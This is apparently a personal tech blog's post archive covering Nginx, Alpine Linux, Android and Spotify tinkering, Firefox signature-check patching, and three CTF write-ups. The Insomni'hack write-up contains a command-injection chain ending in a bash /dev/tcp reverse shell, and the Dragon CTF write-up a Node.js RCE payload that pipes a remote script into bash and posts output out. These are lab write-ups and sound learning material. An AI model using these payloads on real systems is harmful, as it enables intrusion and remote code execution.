ptrcnull's nerdposting

Serving extensionless files with Nginx

2025-11-26T21:23:01+01:00

So, a little backstory first: for the past few years I've been hosting random files on https://ptrc.gay using lighttpd, with mod_mimemagic to automatically assign the MIME type based on the file contents. At some point the module broke though, and so that was replaced with a slightly less kosher bodge:

http-response set-header content-type image/png if { res.body,hex -m beg 89504E47 }
http-response set-header content-type image/gif if { res.body,hex -m beg 47494638 }
http-response set-header content-type image/jpeg if { res.body,hex -m beg FFD8FF }

During the migration to a new server I decided to set up Nginx, and I was faced with the choice: either use the third-party nginx-mime-magic-module dynamic module, or figure out a more proper, long-term solution. With how much the former option seemed like effort, I picked the latter and implemented libmagic support in my uploader, writing the files down onto the disk with correct extensions in the first place. That solution didn't apply retroactively though, and I was now left with thousands of files that already had permalinks posted in various chat logs, all without extensions, Nginx happily serving them as application/octet-stream.

With all that context, here's the magic to make Nginx pick up the correct type and keep all URLs working as before:

1. Assign extensions to all files

You can do it however you like, I chose to write a shell oneliner with file(1) for it and manually assign an extension for each recognised type:

$ find . -type f -maxdepth 1 | rg '\./[a-zA-Z]{8}$' | xargs file |\
    rg 'PNG image data' | cut -d: -f1 |\
    while read -r line; do mv $line $line.png; done

Repeat for every single file type you'd like; I chose only those that can be previewed in a browser: images, text files, etc., omitting archives and other non-previewable files.

2. Simply try all the files

Slighly abuse the try_files directive to brute-force the extension when the file's not found:

location / {
    include location_params;
    root /var/www/ptrc.gay;

    try_files $uri
        $uri.diff
        $uri.gif
        $uri.jpg
        $uri.json
        $uri.jxl
        $uri.mbox
        $uri.mkv
        $uri.mp3
        $uri.mp4
        $uri.pdf
        $uri.png
        $uri.tiff
        $uri.txt
        =404;
}

The trick here is that even though the URL itself doesn't contain an extension, having one in the file path is enough for Nginx's MIME type detection to kick in, making sure the correct type is served to the user. While it does look kinda horrendous – and makes way too many I/O operations than necessary – it also avoids re-guessing the type with every single request (more or less what happens with nginx-mime-magic-module). Assigning extensions manually also gives you the flexibility of fixing up the MIME type whenever necessary, e.g. returning text/plain instead of application/mbox – because even though it's 2025, Firefox still can't display the latter as plain text...

Rewriting my website for fun and no profit

2025-07-19T15:01:29+02:00

Best viewed on the webbed site!

After 2 years of no activity, I've realized that.. I'm not really good at writing posts. When I'm doing something that could make for great post material, I simply don't have motivation to write things down, much less in a format that would be coherent to anyone but me. However, how else can I improve than just practicing? And as such, join me on this adventure, while I rewrite my website engine to suit my needs better!

...what?

Well, this is the fun part - writing code brings me way more joy than writing prose. Code is way more strict in its grammar, and has a clear goal to achieve; text is fluid, chaotic. But then, if I work on my website, it gives me an opportunity to actually write about it, and possibly complete my goal of writing single post in 2025.

goals

Hugo, the current engine behind the website, has always annoyed me a bit. It was alright-ish in terms of features, but anytime I wanted to do something more custom, the documentation was less than helpful, and I would either abandon the idea or get stuck reading the engine code itself. How hard can it be though? It's just joining a few HTML files together, converting some of them from Markdown, and templating a few files with the list of posts.

Ideally, I would love just a small thing that I can extend whenever necessary, but still just generating plain (and easy to read) HTML files. I'm also not scared of writing raw HTML, so stuff like "generating the footer links from a TOML structure" is mostly unnecessary; automatic RSS generation and syntax highlighting are a must-have though.

initial implementation

In the past I used mostly Go and JS for quick prototyping, but lately I've found myself feeling more comfortable with Python; with that in mind, I decided to go for a simple Python script, powered by python-markdown. There's just something really satisfying about a website that can mostly build itself, with just a handful of dependencies, rather than a massive third-party executable.

With these things in mind, I decided to write a tiny proof-of-concept – generate the front page by reading blog post metadata. Hugo's metadata format is simple enough, being just a YAML-like document plopped into the file header.

For templating, I decided to go with Mako. Jinja2 was a tempting choice, but being a DevOps by trade, I have to deal with Jinja's design choices every single day at work; it would be nice to have something more comfortable back at home :3

Okay, let's get to writing code: import markdown, import mako, iterate over the files, render each to HTML-

wait, we're done?

...almost.

As it turns out, a page consisting of a front page and some blog posts really isn't hard to render - all we needed is two templates, and some glue code to mash the Markdowns into HTMLs. python-markdown already provides a meta_data module to parse the YAML-like metadata into values we can read, and setting up Pygments for syntax highlighting needs simply generating the CSS files with pygmentize.

Adding proper Atom support was a bit more tricky - there's libraries like feedgenerator, but they don't support the 'content' Atom field, instead using just the description. The solution? Just add another template, but for the feed, writing the XML by hand. Alas, there's a drawback to putting all the posts into one large feed: right now, the feed is around 200 KiB in size, and it will grow with every single new post; it's not too much though, and IMHO being able to read the blog entirely from a feed reader is a nice addition, even though some of the styling will be lost.

(also, hopefully most feed readers can actually stream HTTP+XML just until they read the updated field, and stop reading if it hasn't changed, though it's not the end of the world if they don't.)

conclusions

I'm... not really sure what I expected about this post. When writing all of this, the main challenge wasn't either the code, or even the blog post, but actually staying focused enough to finish either. I was really hoping for "actually, it's not that easy", but, well, it really was that easy - all 56 MiB of Hugo code was replaced with one Python script and three dependencies.

Realistically though, Hugo can support way more than my silly little script. There's pagination, asset processing, and all the little things that I simply never needed. But, after all, the purpose of this wasn't to write a replacement to a massive framework; instead, it was to make something tailored for my purposes, and I think I managed to achieve that quite well.

Even worse, my writing style is still as annoying as ever - even re-reading what I just wrote feels like random rambling without a direction. Maybe it would be better to write it like a presentation script, with vague directions related to what's on the slides? Or maybe a question-answer style like many other writers adopted, where I make up a character to help along with the explanation? Who knows! It's something for future me to worry about.

Insomni'hack CTF 2023 - insobot

2023-04-03T17:57:36+02:00

Best viewed on the webbed site!

note: this writeup was written long after the actual CTF - the platform was available only on the local on-site network, so some stuff might be a bit vague

recon

in the description we don't get any files or links, only the info that someone's scanning the network. after launching wireshark, we found a ton of ARP queries for the local network, so after filtering those out, we were left with a handful of packets. some of them were from the cisco switch we had on our desk, others from the fortinet hardware handling the network, but after a while we noticed some incoming TCP packets:

we ran a simple HTTP server, and to our surprise, started getting valid HTTP requests:

$ python3 -m http.server 9991                                                                               
Serving HTTP on 0.0.0.0 port 9991 (http://0.0.0.0:9991/) ...
127.0.0.1 - - [03/Apr/2023 18:39:00] code 400, message Bad request version ('À\\x13À')
127.0.0.1 - - [03/Apr/2023 18:39:00] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03#ÐO#\x04B\x9dä¯\x8c"Ó0\x0f3®À£\x10H\x0cEgkqeSÓìÂÙ! \x94J·u>\x98\x82\x1bÉ)OÍÛ\x88£\x85¹B\x0b\x89\x9dß\x1f0\x1f×c\x96TÎKë\x00&À+À/À,À0Ì©Ì¨À\x09À\x13À" 400 -
127.0.0.1 - - [03/Apr/2023 18:39:00] "GET / HTTP/1.1" 200 -

reading weird shell code

following to https://github.com/GigaTakos/Reconator, we find two shell scripts: main.sh, which is less interesting:

# HACK THE WORLD
mapcidr -cidr 0.0.0.0/8 -o targets.txt

# <snip>

while true;
do 
    cat targets.txt | parallel -j90 sudo docker run --rm reconator bash /opt/reconator.sh {}
done

and reconator.sh, that does all the heavy lifting:

# BUG BOUNTY RECON AWESOME ONLINER PIPELINE

cat <<EOF > services.txt
tcp:9990
tcp:9991
tcp:9992
EOF

echo "$1"
echo "$1" | /root/go/bin/httpx -nfs -H "X-tool: github.com/GigaTakos/Reconator" -p $(cat services.txt | awk -F ":" '{print $2}' | sort -u | tr '\n' ',' | sed 's/,$//') -silent -t 1 -json | jq -c '. | "bbrf url add '"'"'\(."url"|@sh) \(."status-code") \(."content-length")'"'"' -t last_update:$(date +%s) -t http_title:\(."title"[0:15]|@sh)"' | sed -E 's| null| 0|g' | sed 's/\\"//g' | xargs -I {} sh -c 'echo {}'

( there's also a dockerfile, but it's safe and not very interesting )

we noticed that while the inner script outputs bbrf ... commands, they're not being executed in the repo - the orgs didn't specify what's happening, so let's assume they're just being saved somewhere.

we can simplify the command a bit, replacing the convoluted cat services.txt subshell with what it returns and formatting it a little:

echo "$1" | \
    /root/go/bin/httpx -nfs \
        -H "X-tool: github.com/GigaTakos/Reconator" \
        -p "9990,9991,9992" \
        -silent -t 1 -json | \
    jq -c '. | "bbrf url add '"'"'\(."url"|@sh) \(."status-code") \(."content-length")'"'"' -t last_update:$(date +%s) -t http_title:\(."title"[0:15]|@sh)"' | \
    sed -E 's| null| 0|g' | \
    sed 's/\\"//g' | \
    xargs -I {} sh -c 'echo {}'

setting the quote crimes in jq aside, here's what's going on: - httpx scans the selected host - JSON results are being passed to jq, which picks the following arguments: + .url + .status-code + .content-length + .title - nulls are getting replaced with zeroes - quotes are getting unquoted..? - all of that is getting passed to sh -c 'echo ...'

as for exploitation ideas - the target was obviously that sh -c command. unfortunately, there wasn't much room for an exploit: status code and content length were returned as ints, so we couldn't do any HTTP here; the URL was the input one, redirects didn't change it, so... the only field we could reliably control was the title, parsed from HTML.

having that, we tried running the tool with the following HTML:

<html><head><title>my very long page title</title>

and got expected results

$ podman run --network=host --rm reconator bash /opt/reconator.sh 10.10.0.212
10.10.0.212
bbrf url add http://10.10.0.212:9991 0 0 -t last_update:1680542404 -t http_title:my very long pa

the shell escaping also worked, kinda:

<html><head><title>$(id)</title>

bbrf url add http://10.10.0.212:9991 0 0 -t last_update:1680542483 -t http_title:$(id)

we spent way too much time reading jq source code to see if we can get around the shell escaping, when suddenly:

<title>'$(id)</title>

sh: 1: Syntax error: Unterminated quoted string

...oh? let's try to terminate it then:

<html><head><title>'$(id)'</title>

bbrf url add http://10.10.0.212:9991 0 0 -t last_update:1680543290 -t http_title:\uid=0(root) gid=0(root) groups=0(root)\

we got shell exec! sadly, not very useful - the payload was still getting truncated at 15 characters, so even using \`` we had 11 characters left for our exploit ( technically, 33, as we could use 3 payloads - but each payload had to be contained in 11 characters ).

golfing the payload

wget 10.10.0.212 was definitely too long, but maybe we can make our IP shorter?

$ doas ip addr flush dev eth0
$ doas ip addr add 10.10.0.6/16 dev eth0
$ ping 10.10.0.1
PING 10.10.0.1 (10.10.0.1) 56(84) bytes of data.
64 bytes from 10.10.0.1: icmp_seq=1 ttl=64 time=1.84 ms

😳

wget 10.10.6...one character too long!! decimal or hex notation wasn't shorter either... at this point we were stuck - we even bought a short domain, only to realize that outgoing 53 was blocked on the server lol; went through all the executables in the container, didn't find anything shorter than wget that could fetch a file

the breakthrough came from dominikoso, who suggested that maybe we could copy executables to the local directory, thus allowing us to use a wildcard such as wg* to run it.. and it worked!

after refining the payloads a little, we ended up with the following: - cp /b*/w* . to copy all executables starting with w to working directory - wg* 10.10.6 to download the index.html file, which was actually a script - bash *ml to run it

there was one more drawback: the ports were queried in a random order; we wrote a small go server to handle that:

package main

import (
    "fmt"
    "net/http"
)

var i = 0
var resps = []string{"cp /b*/w* .", "wg* 10.10.6", "bash *ml"}

func GenerateResp(x string) []byte {
    return []byte(`HTTP/1.1 200 OK
Content-Type: text/html
Connection: close

<html><body><title>'` + "`" + x + "`" + `'</title></body></html>

`)

}

func main() {
    handler := func(w http.ResponseWriter, r *http.Request) {
        fmt.Printf("writing resp %d to client %s as %s\n", i, r.RemoteAddr, r.Host)
        w.Write(GenerateResp(resps[i]))
        i++
        i %= 3
    }

    go http.ListenAndServe(":9990", http.HandlerFunc(handler))
    go http.ListenAndServe(":9991", http.HandlerFunc(handler))
    go http.ListenAndServe(":9992", http.HandlerFunc(handler))

    fmt.Println("runnning")

    select {}
}

the actual script was just a simple reverse shell (which had to be hosted on port 443 due to the previously mentioned server firewall):

#!/bin/bash
sh -i >& /dev/tcp/10.10.0.6/443 0>&1

after that, all it took was one cat /flag/flag and we finally solved the challenge!~

Installing unsigned addons in Firefox stable

2022-08-27T01:14:28+02:00

Best viewed on the webbed site!

Quick heads-up: this doesn't work anymore on Firefox 111.0.1 - not sure why

When developing a private addon, you don't always want to use Mozilla services - it's your browser, why should they care about your addons? Unfortunately, when looking at the documentation and forum posts, it doesn't seem like you can install them on the stable version of Firefox... or can you?

(before you proceed, make sure your addon has the browser_specific_settings section; otherwise, it's gonna show as corrupted to Firefox)

To achieve this, we're gonna need a text editor and write access to your browser files (usually root/Administrator). These instructions are gonna target Linux with Firefox installed from your system package manager (so excluding Flatpak or Snap), but it should be possible to do this anywhere, as long as you can edit these files.

Firstly, locate the omni.ja file in the browser files (usually /usr/lib/firefox). There's two of them, one in the browser/ subdirectory - we're gonna focus on the former.

There are three things we need to patch: - modules/AppConstants.jsm:203

--- a/modules/AppConstants.jsm
+++ b/modules/AppConstants.jsm
@@ -203,3 +203,3 @@
   MOZ_REQUIRE_SIGNING:
 //@line 290 "$SRCDIR/toolkit/modules/AppConstants.jsm"
-  true,
+  0000,

modules/addons/XPIDatabase.jsm:2366

--- a/modules/addons/XPIDatabase.jsm
+++ b/modules/addons/XPIDatabase.jsm
@@ -2366,7 +2366,7 @@
     if (this.mustSign(aAddon.type) && !aAddon.isCorrectlySigned) {
       logger.warn(`Add-on ${aAddon.id} is not correctly signed.`);
       if (Services.prefs.getBoolPref(PREF_XPI_SIGNATURES_DEV_ROOT, false)) {
         logger.warn(`Preference ${PREF_XPI_SIGNATURES_DEV_ROOT} is set.`);
       }
-      return false;
+    //return false;
     }

modules/addons/XPIInstall.jsm:1609

--- a/modules/addons/XPIInstall.jsm
+++ b/modules/addons/XPIInstall.jsm
@@ -1609,4 +1609,4 @@
-      if (lazy.XPIDatabase.mustSign(this.addon.type)) {
+      if (false /*Database.mustSign(this.addon.typ*/) {
         if (this.addon.signedState <= AddonManager.SIGNEDSTATE_MISSING) {
           // This add-on isn't properly signed by a signature that chains to the
           // trusted root.

As the omni.ja file is just a zip file, you can unpack it:

$ mkdir omni && cd omni
$ unzip ../omni.ja
Archive:  ../omni.ja
warning [../omni.ja]:  29257828 extra bytes at beginning or within zipfile
  (attempting to process anyway)
error [../omni.ja]:  reported length of central directory is
  -29257828 bytes too long (Atari STZip zipfile?  J.H.Holm ZIPSPLIT 1.1
  zipfile?).  Compensating...
 extracting: greprefs.js
 extracting: chrome.manifest
 extracting: chrome/chrome.manifest
...

It seems to complain about some stuff, but that doesn't seem to be too much of an issue.
After editing, just repack:

$ zip -r -0 -FS omni.ja *
  adding: actors/ (stored 0%)
  adding: actors/WebChannelParent.jsm (stored 0%)
  adding: actors/WebChannelChild.jsm (stored 0%)
  adding: actors/ViewSourcePageParent.jsm (stored 0%)
...

and replace the original file with the modified one.

With all that done, restart Firefox, go to about:addons and load your addon. Depite the big red warning, the extension should now be loaded and usable.

Unbrick "Cannot load Android system"

2022-05-10T09:52:39+02:00

Best viewed on the webbed site!

Disclaimer: I have no idea on which phones it works, it might actually brick your phone even more, etc. If in doubt, don't listen to me.

Short answer:

enter fastboot (depends on your phone)
create an 8KB empty file - truncate -s 8K file
flash it to para/boot_para/sometimes misc - fastboot flash para file
reboot

Long answer - a short tale about living with a broken phone:

Honestly, this might not even apply to you. There's the "Try again" option. But, you see, I have a broken power button and couldn't select it... I've been doing some software patches to my phone to mitigate this hardware issue, most notably making a few patches to my phone's bootloader, incl. one that makes it boot on plugged USB cable, because sadly on this phone it's not a togglable option, like others have. (fastboot oem off-mode-charge 0)

Unfortunately, the patches did not help this time. I was presented with two options and no way to pick either of them. Tried disconnecting my battery and connecting it back, to no avail - bootloader just skipped straight to recovery, completely ignoring the volume buttons. Making matters even worse, the recovery didn't handle USB in any way - no fastbootd, no adb, no anything. Just the screen of doom and my phone lying to my face with the ominous "Cannot load Android system".

After trying all the simple solutions, I realized my only hope was to patch the bootloader again (lol) and make it boot regular boot.img. To make stuff a bit easier, I focused first on getting working fastboot; from there I can just override the bootloader again and reboot without having to use the dreaded Smart Phone Flash Tool, just fastboot flash lk lk.img.

So... I opened Ghidra alongside MediaTek's Little Kernel-based bootloader code, generously leak^Wopen-sourced by Umidigi with the Linux sources and other stuff. At first I tried to find stuff related to the actual issue itself - wipe, erase, anything like that, but couldn't find anything meaningful. Ended up spending multiple hours trying to map the C code onto functions Ghidra was showing me, expecially that some of them were so highly optimized, that the decompiler was completely lost. Fortunately, it yielded some nice results - at the end of mt_boot_init there was a following snippet:

        /* Will not return */
        boot_linux_from_storage();

fastboot:
        target_fastboot_init();

This meant that if I'm lucky, I can get to fastboot with just one simple patch, replacing the branch instruction to boot_linux_from_storage with a NOP or two. And lucky I was, because a while later I had the patch ready and it worked! Less fortunately, removing that call meant that it couldn't boot any Linux, and the Android recovery is one too. My workaround turned out to be another laptop with SPFT that reflashed only the lk partition - seems a bit pointless, but it allowed me for faster prototyping, because I could do most of the stuff from my Linux workstation and only use Windows for clicking one button.

What followed was a lot of trial and error with changing various things, including trying to repack the recovery - turns out magiskboot can be ran on a regular Linux machine and is really good at its job; you can just unpack the Magisk .apk file and run lib/x86_64/libmagiskboot.so. Sadly, I didn't get much further with that, so I gave up on experimentation and opened Android Code Search in hopes of finding something useful.

From perspective, I wish I did that sooner, because only after a few minutes of looking around the code, I found bootloader_message.cpp which revealed that the bootloader uses the misc partition to communicate with recovery. The partition wasn't there on my phone, but now that I knew where to look, I opened the recovery executable from my phone in Ghidra and found out that MTK uses the name para instead, for some reason. With all that, I ensured that making the partition empty wouldn't break anything and just flashed it.

With all that, after a few days of messing around, I finally booted my phone (and promptly dropped it in the bathtub the same day, causing it to bootloop again before I managed to backup any data from it :) ) Fortunately, it managed to survive and serves me as a backup phone to this day.

Running Spotify on musl

2021-11-19T16:22:02+01:00

Best viewed on the webbed site!

When trying to run Spotify on Alpine, most answers on the internet pointed to Flatpak. And don't get me wrong - Flatpak is great and allows for running glibc-based apps with minimal setup, but... I'd really like to get Spotify to run natively, mostly because containers are a bit heavier in terms of disk space and interoperability is still not perfect.

Let's start by downloading Spotify's deb package from the official repository and unpacking it into downloads. Most of the files are in usr/share/spotify, so we'll try to just go there and run it.

$ cd usr/share/spotify
$ ./spotify
zsh: no such file or directory: ./spotify

Oh right, it's missing some stuff. What stuff though?

$ ldd spotify
(114 lines skipped...)
Error relocating ./libcef.so: __libc_realloc: symbol not found
Error relocating ./libcef.so: __libc_free: symbol not found
Error relocating ./libcef.so: __fdelt_chk: symbol not found
Error relocating ./libcef.so: __fprintf_chk: symbol not found
Error relocating ./libcef.so: __sprintf_chk: symbol not found
Error relocating ./libcef.so: initstate_r: symbol not found
Error relocating ./libcef.so: random_r: symbol not found
Error relocating ./libcef.so: gnu_get_libc_version: symbol not found
Error relocating ./libcef.so: __register_atfork: symbol not found
Error relocating ./libcef.so: __longjmp_chk: symbol not found
Error relocating ./libcef.so: __libc_stack_end: symbol not found
Error relocating ./spotify: strtoll_l: symbol not found
Error relocating ./spotify: strtoull_l: symbol not found
Error relocating ./spotify: __isnanf: symbol not found
Error relocating ./spotify: __isinff: symbol not found
Error relocating ./spotify: __isnan: symbol not found
Error relocating ./spotify: __isinf: symbol not found
Error relocating ./spotify: __cxa_thread_atexit_impl: symbol not found

It seems that it uses a lot of glibc-specific stuff, but we can use Adelie Linux's gcompat to make it work.

$ apk add gcompat
(1/3) Installing musl-obstack (1.2.2-r0)
(2/3) Installing libucontext (1.1-r0)
(3/3) Installing gcompat (1.0.0-r2)
OK: 11425 MiB in 1571 packages
$ patchelf --set-interpreter /lib/ld-musl-x86_64.so.1 spotify
$ patchelf --add-needed libgcompat.so.0 spotify
$ ldd spotify
(97 lines skipped...)
Error relocating ./libcef.so: __mbrlen: symbol not found
Error relocating ./libcef.so: __close: symbol not found
Error relocating ./libcef.so: initstate_r: symbol not found
Error relocating ./libcef.so: random_r: symbol not found

That's much better, but there are still a few things missing. random_r was added a few months ago, but __mbrlen and __close were still missing, so I cloned gcompat and added them in.

~~Note: gcompat seems to be temporarily no longer maintained as A. Wilcox has retired, so I pushed my changed to a fork on GitHub instead of creating a merge request to the original repo.~~

After recompiling gcompat and trying to run Spotify again, it still complains about missing glibc:

$ ./spotify
Error loading shared library ld-linux-x86-64.so.2: No such file or directory (needed by libcef.so)

Fortunately, another patchelf, this time to libcef.so, makes the error go away:

$ patchelf --remove-needed ld-linux-x86-64.so.2 libcef.so
$ ./spotify

Aaand... it crashes with boost::filesystem::read_symlink: No such file or directory: "/proc/self/exe". That's weird, /proc/self/exe should be present, read_symlink just calls readlink, and readlink uses the syscall, right?

Nope, gcompat replaces readlink with its own function to intercept /proc/self/exe (ugh), but as we don't use the loader, we can remove it from the Makefile and build again.

Another recompile of gcompat later, maybe now it would launch?

$ ./spotify
[1]    26559 segmentation fault (core dumped)  ./spotify

Whoops, it doesn't look good... After running gdb spotify core, it looks like it segfaults in savestate_r () from /lib/libgcompat.so.0. We could try to fix this or we can replace it with a fair dice roll:

diff --git a/libgcompat/random_r.c b/libgcompat/random_r.c
index 5bc7053..f6e7071 100644
--- a/libgcompat/random_r.c
+++ b/libgcompat/random_r.c
@@ -141,4 +141,7 @@ int random_r(struct random_data *restrict buf, int32_t *restrict result) {
        }

+       *result = 4;
+       return 0;
+
        if (buf->n == 0) {
                k = buf->x[0] = lcg31(buf->x[0]);

(and also add return 0; before first savestate_r in initstate_r)

Aaand... it shows a window!

Sadly, after a while, the enthusiasm goes away - the window stays white and doesn't display any content. Command line argument --show-console doesn't give us any helpful info either:

$ ./spotify --show-console
14:54:32.302 I [f:156  ] Access allowance changed from online: 0 stream: 0, sync: 0, persistent conn: 0 to online: 1 stream: 1, sync: 0, persistent conn: 1
14:54:32.334 I [f:77   ] Connectivity policy is initially allow_all
14:54:32.334 I [f:79   ] Connection type is initially unknown
14:54:32.334 I [f:96   ] Enabling all persistent connections
14:54:32.353 I [f:150  ] D-Bus name 'org.freedesktop.NetworkManager' does not exist on system bus

Okay, but A. Wilcox had the same issue - maybe we can use that?

$ ldd spotify
    /lib/ld-musl-x86_64.so.1 (0x7f0b5dbf5000)
    libgcompat.so.0 => /lib/libgcompat.so.0 (0x7f0b5dbe1000)
    libm.so.6 => /lib/ld-musl-x86_64.so.1 (0x7f0b5dbf5000)
    libdl.so.2 => /lib/ld-musl-x86_64.so.1 (0x7f0b5dbf5000)
    libasound.so.2 => /usr/lib/libasound.so.2 (0x7f0b5daf6000)
    libatomic.so.1 => /usr/lib/libatomic.so.1 (0x7f0b5daed000)
    libcurl-gnutls.so.4 => /usr/lib/libcurl-gnutls.so.4 (0x7f0b5da73000)
    libcef.so => ./libcef.so (0x7f0b52887000)
(86 lines skipped...)

It seems to match (libm/libdl before libcef), so let's try removing them and see what happens:

$ patchelf --remove-needed libm.so.6 libcef.so
$ patchelf --remove-needed libdl.so.2 libcef.so
$ ./spotify --show-console
15:02:04.445 I [f:156  ] Access allowance changed from online: 0 stream: 0, sync: 0, persistent conn: 0 to online: 1 stream: 1, sync: 0, persistent conn: 1
15:02:04.491 I [f:77   ] Connectivity policy is initially allow_all
15:02:04.491 I [f:79   ] Connection type is initially unknown
15:02:04.492 I [f:96   ] Enabling all persistent connections
15:02:04.500 I [f:150  ] D-Bus name 'org.freedesktop.NetworkManager' does not exist on system bus

Unfortunately, it still shows the white window and strace reveals that it still segfaults:

28567 +++ killed by SIGSEGV (core dumped) +++
28566 +++ killed by SIGSEGV (core dumped) +++
28565 +++ killed by SIGSEGV (core dumped) +++
28564 +++ killed by SIGSEGV (core dumped) +++
28563 +++ killed by SIGSEGV (core dumped) +++

This is where the post ends, at least for now (2021-11-19).

If you manage to make it further than I did, please DM me on Telegram or send an [email protected]">e-mail.

Update (2021-12-03)

Thanks to an email I got from Filip, I was finally able to make it work!

It turned out that the missing piece of the puzzle was --single-process - it somehow forces CEF into submission and while it's not perfect (segfault after closing the window), it launches successfully and even plays music (tested on PulseAudio and PipeWire).

OpenRC: Start services after login prompt

2021-11-17T21:14:15+01:00

Best viewed on the webbed site!

I'm using Alpine Linux as my main OS on desktop. As I don't use any display manager/greeter such as LightDM's, I noticed that it takes quite a bit of time to actually get the login prompt. After a while of searching through logs, I realized that some services - primarily chronyd - wait a few seconds for e.g. getting a response from NTP server and don't exit the start function immediately after starting the process. I tried googling for a solution and found this Unix StackExchange answer, yet it didn't solve my problem.

But, after reading Alpine User Handbook's page on OpenRC, I got the idea that it could be solved with a bit of tinkering with custom runlevels.

So, the final solution was:

create a custom runlevel (I chose the name "async", but it doesn't matter)

$ doas mkdir /etc/runlevels/async

add default as a stacked runlevel

$ doas rc-update add -s default async

remove services from default and add them to async

$ doas rc-update del chronyd
$ doas rc-update add chronyd async

add changing runlevel to async to inittab

Add this line to /etc/inittab:

::once:/sbin/openrc async

After rebooting, services from default runlevel will still block agetty from running (after all, it has the wait label in inittab), but services from async will start separately.

How to use Alpine Linux commit hooks

2021-04-18T13:56:06+02:00

Best viewed on the webbed site!

tl;dr:

Create directory /etc/apk/commit_hooks.d
Put your executable files in there
First argument passed to your script is the stage (pre-commit/post-commit)

Example hook

#!/bin/sh

if ! mount | grep -q '/boot/efi'; then
    mount /boot/efi
fi

if [[ "$1" == "post-commit" ]]; then
    cp /boot/initramfs-lts /boot/efi/alpine/initramfs-lts
    cp /boot/vmlinuz-lts /boot/efi/alpine/vmlinuz-lts
fi

Why?

I use Gummiboot as my bootloader, which can boot Linux kernel images directly from the EFI partition. Alpine packages don't care about EFI though, they just put the stuff in /boot directly. (I mean, the official wiki just says "manually copy them to /boot/efi/", which works but I tend to forget about it)

I didn't want to mount EFI as /boot, so I decided that creating a commit hook would be the easiest way of hotfixing that issue (not ideal, as it runs with every apk commit, but feasible for my use).

Mail DNS Setup

2020-12-19T15:59:43+01:00

Best viewed on the webbed site!

Since I always struggle with DNS records for mailservers... here are some examples:

DMARC

_dmarc TXT "v=DMARC1; p=none; rua=mailto:[email protected]"

v - version of DMARC (DMARC1)
p - policy (none, quarantine, reject)
rua - URI for agreggate reports (comma-separated)
ruf - URI for failure reports (comma-separated)

SPF

@ TXT "v=spf1 mx -all"

v - version (spf1)
mx - allow emails from servers specified in MX records
-all - don't allow from everyone else

Dragon CTF 2020 - Harmony Chat

2020-11-26T19:19:49+01:00

Best viewed on the webbed site!

Files:

This challenge provided a link and source (harmony.zip)

Part 0: research

At first sight, the challenge looks like an IRC-like chat, where you can log in with your name and send messages.

The web app also allowed for downloading logs via HTTP and FTP, which seemed exploit-worthy to us.

Upon inspecting the source code, we found a very obscure, yet common-sounding library called javascript-serializer, which can serialize and deserialize classes and an endpoint for sending CSP report, which was restricted for localhost:

const handleReport = (req, res) => {
  let data = Buffer.alloc(0)

  req.on("data", chunk => {
    data = Buffer.concat([data, chunk])
  })

  req.on("end", () => {
    res.status(204).end()

    if (!isLocal(req)) {
      return
    }

    try {
      const report = utils.validateAndDecodeJSON(data, REPORT_SCHEMA)
      console.error(generateTextReport(report["csp-report"]))
    } catch (error) {
      console.warn(error)
      return
    }
  })
}

Considering that the validateAndDecodeJSON function returns data parsed by the library mentioned above, we realized it could lead to a simple RCE exploit, as you could just pass a "serialized" Function class with function body.

Part 1: crafting an exploit

It turned out that in newer versions, the Function() constructor in Node.js is somehow sandboxed, without most things like require. One of the ways of getting around it is using weird internal functions, in our case it was process.binding('spawn_sync') to spawn a process. Here's the exploit we ended up using:

process.binding('spawn_sync').spawn({
    file: '/bin/bash',
    args: [
        '/bin/bash', '-c', 'curl -d \"$(curl https://%REDACTED% | bash)\" https://%REDACTED%/'
    ],
    stdio: [
        {type:'pipe',readable:!0,writable:!1},
        {type:'pipe',readable:!1,writable:!0},
        {type:'pipe',readable:!1,writable:!0}
    ]});

In short, the exploit connects to some server, executes code from it and sends output via POST to another server.

After minifying the code and putting it into JSON, we started to search for a property we could exploit. As most of the properties were defined in the schema to be strings, it wouldn't be possible to put the object into them. Hopefully, there have been some optional properties which were not defined in the schema, but were evaluated in the code. We decided to use script-sample, because it was one of the optional properties and wasn't handled in any special way, just printed.

const generateTextReport = report => {
  ...

  if (report["script-sample"]) {
    text += `Sample      : ${report["script-sample"]}\n`
  }

  ...
}

Part 2: SSRF

In the meantime, we started to look for a SSRF exploit, because the CSP report endpoint was being limited only to localhost. We realized that because of the FTP server, we could craft such "chat log" that would be a valid HTTP request, then send that file via FTP active mode to 127.0.0.1:3380. Fortunately, the only limitations were: - the line must have : after 0-30 characters (length of the username) - the line must be less than 2080 characters long (30 for the username, 2 for the : and 2048 for the content)

The HTTP request we came up with:

POST /csp-report?: HTTP/1.1
Host: 127.0.0.1
Content-Length: 527
Content-Type: application/csp-report

{"csp-report":{"blocked-uri":""(...)

Note the ?: part in the path - it's needed because of the first limitation.

Having that, we've created a script for crafting the file on the server, which basically creates new users and joins the same channel, then prints the link to the chat log it created.

Part 3: actual exploiting

After all that, triggering the actual exploit was as simple as this: (13,52 = (13*256)+52 = 3380)

$ nc harmony-1.hackable.software 3321
220 FTP server (nodeftpd) ready
USER f24090d4641cb9b776c2bd5b05446c9d
331 User name okay, need password.
PASS x
230 User logged in, proceed.
PORT 127,0,0,1,13,52
200 OK
RETR 848800924e2316585788974dc12dbbcf
150 Opening ASCII mode data connection
226 Closing data connection, sent 636 bytes

Twardowski

2020-09-14T15:11:00+01:00

Best viewed on the webbed site!

CTF url: https://twardowski.securing.pl/

Low hanging fruits

532nd line of the home page - FLAG{8011be9ceeff33e647187808ac3b25b70d3d7}
404 page:

FLAG{805a0710b49372a822b0f73915354d0a60290}

HTTP headers on any page:

< Set-Cookie: 8145=jselvxkfagesirevdpkvckezcidgwxcmtteeo
< Set-Cookie: 3715=uilkbbvhafipagcnchxawewsfbocagvwkviif
< Set-Cookie: 6965=eraxamdlegkeupsasfejvglhtbjpezbbojjcd
< Set-Cookie: 1337=FLAG{802b90a3cdca643d1abf3aba0f96c17c466e2}
< Set-Cookie: 9669=uygbolhbijdmmuwawjzjibrwgnjjjejzlfcnn
< Set-Cookie: 2193=ztrsxcsqmiclymffagahlvjqnyqsdcetvlgoo'
< X-Totaly-Legit-Header: FLAG{803d8adce61c4b1efb974f5eff93f5cb54afd}

robots.txt

User-agent: pentest
Disallow: /*
Disallow: /FLAG{804764d8bae198e68fcc037066c386978a187}
#TODO: remove .DS_Store file from statics ~ntrojanowska

Commented code on the home page

There's a line of commented JavaScript code on the homepage:

